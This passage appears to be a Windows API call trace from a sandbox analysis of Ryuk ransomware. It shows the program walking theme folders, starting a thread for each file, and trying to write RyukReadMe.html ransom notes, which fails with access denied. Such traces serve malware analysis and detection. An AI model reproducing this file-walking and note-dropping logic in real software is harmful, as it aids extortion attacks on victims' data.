	[0170.212] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.212] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1
	[0170.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0
	[0170.214] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.215] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1
	[0170.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4
	[0170.218] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.219] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.219] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8
	[0170.222] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.223] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc
	[0170.305] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.306] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.306] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.306] SetLastError (dwErrCode=0x0) 
	[0170.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.307] GetLastError () returned 0x5
	[0170.307] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.307] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0170.307] SetLastError (dwErrCode=0x0) 
	[0170.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.308] GetLastError () returned 0x5
	[0170.308] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.309] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.309] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x8e, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1
	[0170.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0
	[0170.312] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.313] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x8e, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1
	[0170.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0170.316] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.316] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.316] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0170.319] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.319] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.319] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0170.322] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.323] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.323] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.323] SetLastError (dwErrCode=0x0) 
	[0170.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.324] GetLastError () returned 0x5
	[0170.324] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.324] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0170.324] SetLastError (dwErrCode=0x0) 
	[0170.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.324] GetLastError () returned 0x5
	[0170.325] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.327] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.327] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1
	[0170.327] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0
	[0170.330] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.331] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1
	[0170.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0170.334] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.334] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0170.334] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0170.338] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.339] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0170.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0170.484] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.485] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0170.485] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0170.486] SetLastError (dwErrCode=0x0) 
	[0170.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.486] GetLastError () returned 0x5
	[0170.486] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.486] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.486] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0170.486] SetLastError (dwErrCode=0x0) 
	[0170.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.487] GetLastError () returned 0x5
	[0170.487] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0170.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0170.488] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0170.488] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1
	[0170.488] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0170.491] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0170.492] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1
	[0170.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0170.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0170.493] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
